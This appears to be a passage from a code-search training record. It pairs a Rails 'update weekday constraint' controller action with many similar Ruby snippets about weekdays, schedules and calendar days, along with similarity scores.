redirect = holidays_path\n ap = actual_project\n ap.hours_day = params[:day_hours]\n ap.save!(:validate => false) #por las dudas le pongo que skip validations, no vaya a ser que de un error\n end\n days_off.each do |day|\n day.off = true\n case day.wday\n when 0: day.off = false unless params[:wday_domingo]\n when 1: day.off = false unless params[:wday_lunes]\n when 2: day.off = false unless params[:wday_martes]\n when 3: day.off = false unless params[:wday_miercoles]\n when 4: day.off = false unless params[:wday_jueves]\n when 5: day.off = false unless params[:wday_viernes]\n when 6: day.off = false unless params[:wday_sabado]\n end\n day.save!\n end\n redirect_to(redirect, :notice => t(\"screens.notice.successfully_created\"))\n end\n\nend", "def create\n @friday = Friday.new(friday_params)\n\n respond_to do |format|\n if @friday.save\n format.html { redirect_to @friday, notice: \"Friday was successfully created.\" }\n format.json { render :show, status: :created, location: @friday }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friday.errors, status: :unprocessable_entity }\n end\n end\n end", "def schedule_day_or_week_must_have_question\n errors.add(:base, \"Either day or week has to contain character ?\") if (schedule_day != \"?\") && (schedule_week != \"?\")\n end", "def weekday()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Weekday::WeekdayRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def create\n @day_week = DayWeek.new(day_week_params)\n\n respond_to do |format|\n if @day_week.save\n format.html { redirect_to '/maestricos/prueba?titulo=Dias+de+la+Semana&tabla=DayWeek' }\n format.json { render :show, status: :created, location: @day_week }\n else\n flash[:success] = \"Welcome to the Sample App!\"\n format.html { redirect_to '/maestricos/prueba?titulo=Dias+de+la+Semana&tabla=DayWeek' }\n format.json { render json: @day_week.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @schedule = Schedule.new(params[:schedule])\n @schedule.days = params[:days]\n\n if @schedule.save\n redirect_to edit_profiles_path\n else\n respond_with(@schedule) do\n format.html {render 'new'}\n end\n end\n end", "def create\n @monday = Monday.new(monday_params)\n\n respond_to do |format|\n if @monday.save\n format.html { redirect_to @monday, notice: 'Monday was successfully created.' }\n format.json { render :show, status: :created, location: @monday }\n else\n format.html { render :new }\n format.json { render json: @monday.errors, status: :unprocessable_entity }\n end\n end\n end", "def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n\n 'Mon..Fri'\n end", "def cal_time_params\n params.require(:cal_time).permit(:datefull, :day_number_in_week, :day_number_in_month, :calendar_week_number)\n end", "def weekend_and_holiday(day)\n holiday = Holidays.on(day, :federal_reserve, :observed).any?\n weekend = day.saturday? || day.sunday?\n [weekend, holiday]\n end", "def create\n @wednesday = Wednesday.new(wednesday_params)\n\n respond_to do |format|\n if @wednesday.save\n format.html { redirect_to @wednesday, notice: \"Wednesday was successfully created.\" }\n format.json { render :show, status: :created, location: @wednesday }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @wednesday.errors, status: :unprocessable_entity }\n end\n end\n end", "def addDayOfWeekSpecification(time, dows)\n\t\tcurrentDow = time.wday\n\t\tnextDow = nil\n\t\tdows.each { |d|\n\t\t\tif d < currentDow\n\t\t\t\tdd = d + 7\n\t\t\telse\n\t\t\t\tdd = d\n\t\t\tend\n\t\t\tif nextDow.nil? or (dd < nextDow)\n\t\t\t\tnextDow = dd\n\t\t\tend\n\t\t}\n\t\tif nextDow\n\t\t\treturn time + (nextDow - currentDow) * 24 * 60 * 60\n\t\tend\n\t\treturn time\n\tend", "def weekday\n fail \"A value cannot be provided for #{__method__}\" if @value\n return 'Mon..Fri'\n end", "def spec_day_params\n params.require(:spec_day).permit(:sdate, :is_workday, :comment)\n end", "def weekdays\n wdays = []\n wdays << 0 if sun\n wdays << 1 if mon\n wdays << 2 if tue\n wdays << 3 if wed\n wdays << 4 if thu\n wdays << 5 if fri\n wdays << 6 if sat\n\n wdays\n end", "def test\n WorkCalendar.configure do |c|\n c.weekdays = %i(mon tue wed thu fri)\n c.holidays = [Date.new(2015, 1, 1), Date.new(2015, 7, 3), Date.new(2015, 12, 25)]\n end\n end", "def create\n @workday = Workday.new(workday_params)\n\n respond_to do |format|\n if @workday.save\n format.html { redirect_to dashboard_path, notice: 'Workday was successfully created.' }\n format.json { render :show, status: :created, location: @workday }\n else\n format.html { render :new }\n format.json { render json: @workday.errors, status: :unprocessable_entity }\n end\n end\n end", "def friday_params\n params.require(:friday).permit(:from, :to, :Subject, :link, :Prof)\n end", "def solver(from_date, to_date, weekday)\n result = 0\n days_to_sunday = 7 - weekday\n new_date = from_date.increment_by_days days_to_sunday\n if (new_date.day == 1)\n result = result + 1\n end\n while new_date <= to_date\n if (new_date.day == 1)\n result = result + 1\n end\n new_date = new_date.increment_by_days 7\n end\n return result\nend", "def create\n @theory_day = TheoryDay.new(theory_day_params)\n\n respond_to do |format|\n if @theory_day.save\n format.html { redirect_to @theory_day, notice: 'Theory day was successfully created.' }\n format.json { render action: 'show', status: :created, location: @theory_day }\n else\n format.html { render action: 'new' }\n format.json { render json: @theory_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def calendar_day_params\n params.require(:calendar_day).permit(:starts, :description, :image_path, :opened)\n end", "def church_service_params\n params.require(:church_service).permit(:weekday, :schedule, :name)\n end", "def availability_params\n params.require(:availability).permit(:name, :prefered_hours, {:sunday => [], :monday => [], :tuesday => [], :wednesday => [], :thursday => [], :friday => [], :saturday => []})\n end", "def create_day\n trip = Trip.find(params[:id])\n offset = 0\n trip.days.all.each do |day|\n offset += 1\n end\n @day = Day.new({\"date\" => trip.beginning + offset , \"trip\" => trip})\n trip.update_attribute(:duration, trip.attributes['duration'] + 1)\n trip.save\n respond_to do |format|\n if @day.save\n format.html { redirect_to trip, notice: 'Day was successfully created.' }\n format.json { render :show, status: :created, location: @day }\n else\n format.html { render home_path }\n format.json { render json: @day.errors, status: :unprocessable_entity }\n end\n end\n end", "def weekdays\n result = veeamconfig('schedule', 'show', '--jobId', get_job_id).lines\n\n if result[0].strip == 'Every day'\n ['daily']\n else\n result[0].strip.split(': ')[1].split(', ')\n end\n end" ]
[ "0.7552138", "0.7152779", "0.6963185", "0.6773598", "0.6016656", "0.58577174", "0.57509834", "0.56115276", "0.55442506", "0.5538549", "0.5479685", "0.5426244", "0.54222065", "0.53931034", "0.53810304", "0.52857715", "0.5285419", "0.528525", "0.5266104", "0.5263046", "0.524547", "0.5245051", "0.5238601", "0.5232195", "0.522169", "0.52169544", "0.51977986", "0.51870084", "0.5186323", "0.5181958", "0.5169293", "0.51669496", "0.51520884", "0.514923", "0.5140429", "0.51140046", "0.50914323", "0.5089017", "0.5082312", "0.5076333", "0.5053819", "0.5037808", "0.50326145", "0.50228155", "0.50001", "0.49989927", "0.49766603", "0.49719104", "0.49715126", "0.4969933", "0.4946497", "0.49385804", "0.49370655", "0.49280623", "0.49250135", "0.49186298", "0.4917736", "0.49096197", "0.4900763", "0.48881602", "0.48847404", "0.48761475", "0.48739058", "0.48673517", "0.48543411", "0.4838941", "0.48285526", "0.48267725", "0.48244634", "0.48207703", "0.48206654", "0.4818813", "0.47992972", "0.4797033", "0.479703", "0.47903636", "0.47879758", "0.4784732", "0.47796535", "0.47787106", "0.47751284", "0.47702354", "0.47697538", "0.47694048", "0.47651637", "0.476249", "0.47623894", "0.47621658", "0.4757201", "0.47563028", "0.47560522", "0.47467074", "0.47445542", "0.47367933", "0.47354794", "0.47343922", "0.47338307", "0.47224128", "0.4716255", "0.47121203" ]
0.7681746
0
PATCH/PUT /weekday_constraints/1 PATCH/PUT /weekday_constraints/1.json
def update respond_to do |format| if @weekday_constraint.update(weekday_constraint_params) format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully updated.' } format.json { render :show, status: :ok, location: @weekday_constraint } else format.html { render :edit } format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_weekday_constraint\n @weekday_constraint = WeekdayConstraint.find(params[:id])\n end", "def weekday_constraint_params\n params.require(:weekday_constraint).permit(:day, :name, :constraint_id, :constraint_type)\n end", "def create\n @weekday_constraint = WeekdayConstraint.new(weekday_constraint_params)\n\n respond_to do |format|\n if @weekday_constraint.save\n format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully created.' }\n format.json { render :show, status: :created, location: @weekday_constraint }\n else\n format.html { render :new }\n format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @weekday_constraints = WeekdayConstraint.all\n end", "def update\n @weekday = Weekday.find(params[:id])\n\n respond_to do |format|\n if @weekday.update_attributes(params[:weekday])\n format.html { redirect_to @weekday, notice: 'Weekday was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weekday.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @weekday_constraint.destroy\n respond_to do |format|\n format.html { redirect_to weekday_constraints_url, notice: 'Weekday constraint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @interval_constraint.update(interval_constraint_params)\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully updated.' }\n format.json { render :show, status: :ok, location: @interval_constraint }\n else\n format.html { render :edit }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @monthly_day_recurrence = args[:monthly_day_recurrence] if args.key?(:monthly_day_recurrence)\n @monthly_weekday_recurrence = args[:monthly_weekday_recurrence] if args.key?(:monthly_weekday_recurrence)\n end", "def update\n respond_to do |format|\n if @constraint.update(constraint_params)\n format.html { redirect_to @constraint, notice: 'Constraint was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @calendar_day = args[:calendar_day] if args.key?(:calendar_day)\n @grace_period_end = args[:grace_period_end] if args.key?(:grace_period_end)\n @grace_period_start = args[:grace_period_start] if args.key?(:grace_period_start)\n @grace_period_type = args[:grace_period_type] if args.key?(:grace_period_type)\n @manual_grace_period_info = args[:manual_grace_period_info] if args.key?(:manual_grace_period_info)\n end", "def update\n @constraint = Constraint.find(params[:id])\n\n respond_to do |format|\n if @constraint.update_attributes(params[:constraint])\n format.html { redirect_to @constraint, notice: 'Constraint was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @theory_day.update(theory_day_params)\n format.html { redirect_to @theory_day, notice: 'Theory day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @theory_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @day = DayAvailability.find(params[:id])\n @week = WeekAvailability.find(params[:week_availability_id])\n\n respond_to do |format|\n if @day.update_attributes(params[:day_availability])\n format.html {redirect_to @week, notice: 'Successfully updated schedule.'}\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n respond_to do |format|\n if @sunday.update(sunday_params)\n format.html { redirect_to @sunday, notice: 'Sunday was successfully updated.' }\n format.json { render :show, status: :ok, location: @sunday }\n else\n format.html { render :edit }\n format.json { render json: @sunday.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @weekly_schedule.update(weekly_schedule_params)\n format.html { redirect_to @weekly_schedule, notice: 'Weekly schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekly_schedule }\n else\n format.html { render :edit }\n format.json { render json: @weekly_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @week_day = args[:week_day] if args.key?(:week_day)\n @weekly_pattern_end = args[:weekly_pattern_end] if args.key?(:weekly_pattern_end)\n @weekly_pattern_start = args[:weekly_pattern_start] if args.key?(:weekly_pattern_start)\n end", "def update\n respond_to do |format|\n if @everyday.update(everyday_params)\n format.html { redirect_to :back, notice: 'Everyday was successfully updated.' }\n format.json { render :show, status: :ok, location: :back }\n else\n format.html { render :edit }\n format.json { render json: @everyday.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @day_of_week.update(day_of_week_params)\n format.html { redirect_to @day_of_week, notice: 'Day of week was successfully updated.' }\n format.json { render :show, status: :ok, location: @day_of_week }\n else\n format.html { render :edit }\n format.json { render json: @day_of_week.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \t@conference = Conference.find(params[:conference_id])\n @day = Day.find(params[:id])\n\n respond_to do |format|\n if @day.update_attributes(params[:day])\n format.html { redirect_to(conference_day_url, :notice => 'Day was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @day.errors, :status => :unprocessable_entity }\n end\n end\n end", "def weekdays=(value)\n # check if the weekdays property contains 'daily' - this will override any\n # other days that have been set\n if value.include? :daily or value.include? 'daily'\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--daily', '--at', \"#{@resource[:time]}\")\n else\n wd = value.join(',')\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--weekdays', \"#{wd}\", '--at', \"#{@resource[:time]}\")\n end\n end", "def update\n respond_to do |format|\n if @week_day.update(week_day_params)\n format.html { redirect_to @week_day, notice: 'Week day was successfully updated.' }\n format.json { render :show, status: :ok, location: @week_day }\n else\n format.html { render :edit }\n format.json { render json: @week_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @day_week = DayWeek.find(params[:id])\n\n respond_to do |format|\n if @day_week.update_attributes(params[:day_week])\n format.html { redirect_to @day_week, :notice => 'Dia da semana atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @day_week.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hospitalization_day.update(hospitalization_day_params)\n format.html { redirect_to adverse_event_path(@adverse_event), notice: 'Día de estancia actualizado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @hospitalization_day }\n else\n format.html { render :edit }\n format.json { render json: @hospitalization_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @day_of_week = args[:day_of_week] if args.key?(:day_of_week)\n end", "def update!(**args)\n @day_of_week = args[:day_of_week] if args.key?(:day_of_week)\n end", "def update\n respond_to do |format|\n if @day.update(day_params)\n format.html { redirect_to days_path, notice: 'Day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @day.update(update_params)\n render json: @day, include: [:activities]\n else \n render json: @day.errors\n end\n end", "def update\n respond_to do |format|\n if @app_schedule.update(app_schedule_params)\n AppointmentMailer.with(app_schedule: @app_schedule).update_appointment.deliver!\n AppointmentMailer.with(app_schedule: @app_schedule).notify_appointment_update.deliver!\n format.html { redirect_to @app_schedule, notice: 'Appointment was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_schedule }\n else\n format.html { render :edit }\n format.json { render json: @app_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n offset = -1\n @trip.days.all.each do |day|\n offset += 1\n day.update_attribute(:date, @trip.beginning + offset)\n end\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event_recurrence.update(event_recurrence_params)\n format.html { redirect_to @event_recurrence, notice: 'Event recurrence was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_recurrence }\n else\n format.html { render :edit }\n format.json { render json: @event_recurrence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @day.update(day_params)\n format.html { redirect_to @day, notice: 'Day was successfully updated.' }\n format.json { render :show, status: :ok, location: @day }\n else\n format.html { render :edit }\n format.json { render json: @day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @witness = Witness.find(params[:id])\n\n respond_to do |format|\n if @witness.update_attributes(params[:witness])\n # commented so hosts font receive emails off season\n # if(params[:witness][:host_id].present?)\n # HostMailer.witness_assigned(\n # params[:witness][:host_id],\n # @witness.id,\n # I18n.locale\n # ).deliver\n\n #@host = Host.find(params[:witness][:host_id])\n #@host.update_attributes(assignment_time: Time.now.utc.localtime)\n #end\n\n\n \n format.json { render json: @witness, status: :created, location: @witness }\n else\n format.json { render json: @witness.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @allow_all_range_resolutions = args[:allow_all_range_resolutions] if args.key?(:allow_all_range_resolutions)\n @allow_all_resolutions = args[:allow_all_resolutions] if args.key?(:allow_all_resolutions)\n @allow_all_resolutions_except_holidays = args[:allow_all_resolutions_except_holidays] if args.key?(:allow_all_resolutions_except_holidays)\n @allow_all_resolutions_without4digit24hr_time = args[:allow_all_resolutions_without4digit24hr_time] if args.key?(:allow_all_resolutions_without4digit24hr_time)\n @allow_all_resolutions_without_time = args[:allow_all_resolutions_without_time] if args.key?(:allow_all_resolutions_without_time)\n @allow_day_resolution = args[:allow_day_resolution] if args.key?(:allow_day_resolution)\n @allow_day_resolution_except_holidays_or_ordinal = args[:allow_day_resolution_except_holidays_or_ordinal] if args.key?(:allow_day_resolution_except_holidays_or_ordinal)\n @allow_hour_resolution = args[:allow_hour_resolution] if args.key?(:allow_hour_resolution)\n @allow_month_resolution = args[:allow_month_resolution] if args.key?(:allow_month_resolution)\n @allow_now_resolution = args[:allow_now_resolution] if args.key?(:allow_now_resolution)\n @allow_symbolic_time = args[:allow_symbolic_time] if args.key?(:allow_symbolic_time)\n @allow_time_resolutions_without_explicit_timezone = args[:allow_time_resolutions_without_explicit_timezone] if args.key?(:allow_time_resolutions_without_explicit_timezone)\n @allow_year_resolution = args[:allow_year_resolution] if args.key?(:allow_year_resolution)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n @sub_type = args[:sub_type] if args.key?(:sub_type)\n end", "def update\n respond_to do |format|\n if @calendar_day.update(calendar_day_params)\n format.html { redirect_to @calendar_day, notice: 'Calendar day was successfully updated.' }\n format.json { render :show, status: :ok, location: @calendar_day }\n else\n format.html { render :edit }\n format.json { render json: @calendar_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event_day.update(event_day_params)\n format.html { redirect_to events_path, notice: 'Event day was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_day }\n else\n format.html { render :edit }\n format.json { render json: @event_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @day_type.update(day_type_params)\n format.html { redirect_to @day_type, notice: 'Day type was successfully updated.' }\n format.json { render :show, status: :ok, location: @day_type }\n else\n format.html { render :edit }\n format.json { render json: @day_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @daytime = Daytime.find(params[:id])\n\n respond_to do |format|\n if @daytime.update_attributes(params[:daytime])\n format.html { redirect_to @daytime, notice: 'Daytime was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @daytime.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n price_schedule_params[:basis] = price_schedule_params[:basis].to_i\n price_schedule_params[:break_type] = price_schedule_params[:break_type].to_i\n price_schedule_params[:qualifier] = price_schedule_params[:qualifier].to_i\n price_schedule_params[:fee_calculation_type] = price_schedule_params[:fee_calculation_type].to_i\n price_schedule_params[:usual_customary_calculation] = price_schedule_params[:usual_customary_calculation].to_i\n price_schedule_params[:customer_assigned_schedule] = price_schedule_params[:customer_assigned_schedule].to_i\n price_schedule_params[:percentage_fee_type] = price_schedule_params[:percentage_fee_type].to_i\n price_schedule_params[:amount_fee_type] = price_schedule_params[:amount_fee_type].to_i\n\n respond_to do |format|\n if @price_schedule.update(price_schedule_params)\n format.html { redirect_to @price_schedule, notice: 'Price Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @price_schedule }\n else\n format.html { render :edit }\n format.json { render json: @price_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @off_day.update(off_day_params)\n format.html { redirect_to @off_day, notice: 'Off day was successfully updated.' }\n format.json { render :show, status: :ok, location: @off_day }\n else\n format.html { render :edit }\n format.json { render json: @off_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @day = Day.find(params[:id])\n\n respond_to do |format|\n if @day.update_attributes(params[:day])\n format.html { redirect_to @day, notice: 'Day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @day_week.update(day_week_params)\n format.html { redirect_to '/maestricos/prueba?titulo=Dias+de+la+Semana&tabla=DayWeek'}\n format.json { render :show, status: :ok, location: @day_week }\n else\n format.html { render :edit }\n format.json { render json: @day_week.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @flight_schedule = FlightSchedule.find(params[:id])\n\n respond_to do |format|\n if @flight_schedule.update_attributes(params[:flight_schedule])\n format.html { redirect_to @flight_schedule, notice: 'Flight schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flight_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # Protect from non-admin access\n admin_only do\n params[:weeklyday] = nil if params[:weeklyday] = ''\n @test = RecurringSchedule.find(params[:id])\n if @test.update(schedule_params)\n log_action('Update', current_user ? current_user.username : 'Anonymous', params[:id], 'RecurringSchedule')\n if params[:weeklyday].nil?\n @test.reload\n @test.weeklyday = nil\n @test.save\n end\n redirect_to action: \"show\", id: @test.id\n else\n render 'edit'\n end\n end\n end", "def update\n respond_to do |format|\n if @workday.update(workday_params)\n format.html { redirect_to dashboard_path, notice: 'Workday was successfully updated.' }\n format.json { render :show, status: :ok, location: @workday }\n else\n format.html { render :edit }\n format.json { render json: @workday.errors, status: :unprocessable_entity }\n end\n end\n end", "def schedule_day_params\n params.require(:schedule_day).permit(:schedule_week_id, :available_24_hours, :range_begin, :range_end, :date)\n end", "def update!(**args)\n @day_of_week = args[:day_of_week] if args.key?(:day_of_week)\n @day_offset = args[:day_offset] if args.key?(:day_offset)\n @week_ordinal = args[:week_ordinal] if args.key?(:week_ordinal)\n end", "def update\n @daytype = Daytype.find(params[:id])\n\n respond_to do |format|\n if @daytype.update_attributes(params[:daytype])\n format.html { redirect_to @daytype, notice: 'Daytype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @daytype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tenant_fee.update(tenant_fee_params)\n format.html { redirect_to @tenant_fee, notice: 'Tenant fee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tenant_fee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @friday.update(friday_params)\n format.html { redirect_to @friday, notice: \"Friday was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friday }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friday.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @daily_timesheet\n @penalty = Penalty.new\n @work_types = WorkType.all\n @penalties = Penalty.all\n respond_to do |format|\n if @daily_timesheet.update(daily_timesheet_params)\n format.html { redirect_back_or_default daily_timesheets_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @daily_timesheet }\n else\n format.html {\n @daily_timesheet.daily_timesheet_work_types.build if @daily_timesheet.daily_timesheet_work_types.blank?\n @daily_timesheet.daily_timesheet_penalties.build if @daily_timesheet.daily_timesheet_penalties.blank?\n render :edit\n }\n format.json { render json: @daily_timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @special_holiday.update(special_holiday_params)\n format.html { redirect_to @special_holiday, notice: 'Special holiday was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_holiday }\n else\n format.html { render :edit }\n format.json { render json: @special_holiday.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @availability_day = AvailabilityDay.find(params[:id])\n\n respond_to do |format|\n if @availability_day.update_attributes(params[:availability_day])\n format.html { redirect_to(@availability_day, :notice => 'Availability day was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @availability_day.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meal_schedule.update(meal_schedule_params)\n format.html { redirect_to meal_schedules_path, notice: 'MealSchedule was updated successfully' }\n format.json { render :show, status: :ok, location: meal_schedules_path }\n else\n format.html { render :edit }\n format.json { render json: @meal_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @machine_time_rule.update(machine_time_rule_params)\n format.html { redirect_to @machine_time_rule, notice: 'Machine time rule was successfully updated.' }\n format.json { render :show, status: :ok, location: @machine_time_rule }\n else\n format.html { render :edit }\n format.json { render json: @machine_time_rule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attend_rule.update(attend_rule_params.tap{|t|Rails.logger.info(\"-------#{t.inspect}\")})\n flash[:notice] = \"操作成功\"\n format.html { redirect_to :back }\n format.json { render :show, status: :ok, location: @attend_rule }\n else\n format.html { render :edit }\n format.json { render json: @attend_rule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @time_slot = TimeSlot.find(params[:id])\n @recurrence_array = @time_slot.recurrence_pattern.split(//)\n respond_to do |format|\n if @time_slot.update_attributes(params[:time_slot])\n format.html { redirect_to @time_slot, notice: 'Time slot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @time_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @work_day.update(work_day_params)\n format.html { redirect_to @work_day, notice: 'Work day was successfully updated.' }\n format.json { render :show, status: :ok, location: @work_day }\n else\n format.html { render :edit }\n format.json { render json: @work_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @time_of_day.update(time_of_day_params)\n format.html { redirect_to @time_of_day, notice: 'Time of day was successfully updated.' }\n format.json { render :show, status: :ok, location: @time_of_day }\n else\n format.html { render :edit }\n format.json { render json: @time_of_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @spec_day.update(spec_day_params)\n format.html { redirect_to spec_days_path, notice: '更新成功!' }\n format.json { render :show, status: :ok, location: @spec_day }\n else\n flash.now[:alert] = @spec_day.errors.full_messages\n format.html { render :edit }\n format.json { render json: @spec_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @day_timeslot.update(day_timeslot_params)\n format.html { redirect_to @day_timeslot, notice: 'Day timeslot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @day_timeslot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n params[:appointment]['scheduled_at(5i)'] = '0'\n\n @appointment.scheduled_at = DateTime.new(params[:appointment]['scheduled_at(1i)'].to_i,\n params[:appointment]['scheduled_at(2i)'].to_i,\n params[:appointment]['scheduled_at(3i)'].to_i,\n params[:appointment]['scheduled_at(4i)'].to_i,\n params[:appointment]['scheduled_at(5i)'].to_i, 0)\n\n check_for_errors if params[:staff_ids].present?\n\n if @appointment.errors.present?\n render :json => {:success => false, :html => render_to_string(:partial => \"/appointments/errors\")}.to_json\n else\n if @appointment.update(appointment_params)\n create_appointment_users if params[:staff_ids].present?\n flash[:notice]= 'Appointment was successfully updated.'\n render :json => {:success => true,\n :html => render_to_string(:partial => \"/appointments/calandar\"),\n :flash => render_to_string(:partial => \"layouts/flash\")}.to_json\n else\n render :json => {:success => false, :html => render_to_string(:partial => \"/appointments/errors\")}.to_json\n end\n end\n\n end", "def update\n respond_to do |format|\n if @attend_event.update(attend_event_params)\n format.html { redirect_to events_url, notice: 'Hours successfully updated.' }\n format.json { render :show, status: :ok, location: @attend_event }\n else\n format.html { render :edit }\n format.json { render json: @attend_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @date_request.update(date_request_params)\n format.html { redirect_to @date_request, notice: \"Date request was successfully updated.\" }\n format.json { render :show, status: :ok, location: @date_request }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @date_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dis_nfi_schedule.update(dis_nfi_schedule_params)\n format.html { redirect_to @dis_nfi_schedule, notice: 'Dis nfi schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_nfi_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dis_nfi_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @open_now = args[:open_now] if args.key?(:open_now)\n @periods = args[:periods] if args.key?(:periods)\n @secondary_hours_type = args[:secondary_hours_type] if args.key?(:secondary_hours_type)\n @special_days = args[:special_days] if args.key?(:special_days)\n @weekday_descriptions = args[:weekday_descriptions] if args.key?(:weekday_descriptions)\n end", "def patch_firewall_priority project:, name:, allowed:, priority:\n allowed_arr = allowed.map do |instance|\n {\n I_p_protocol: instance.I_p_protocol,\n ports: instance.ports.to_a\n }\n end.to_a\n\n rule = {\n priority: priority,\n allowed: allowed_arr\n }\n\n request = {\n project: project,\n firewall: name,\n firewall_resource: rule\n }\n\n # The patch operation doesn't require the full definition of a Firewall object. It will only update\n # the values that were set in it, in this case it will only change the priority.\n client = ::Google::Cloud::Compute::V1::Firewalls::Rest::Client.new\n operation = client.patch request\n\n wait_until_done operation: operation\nend", "def 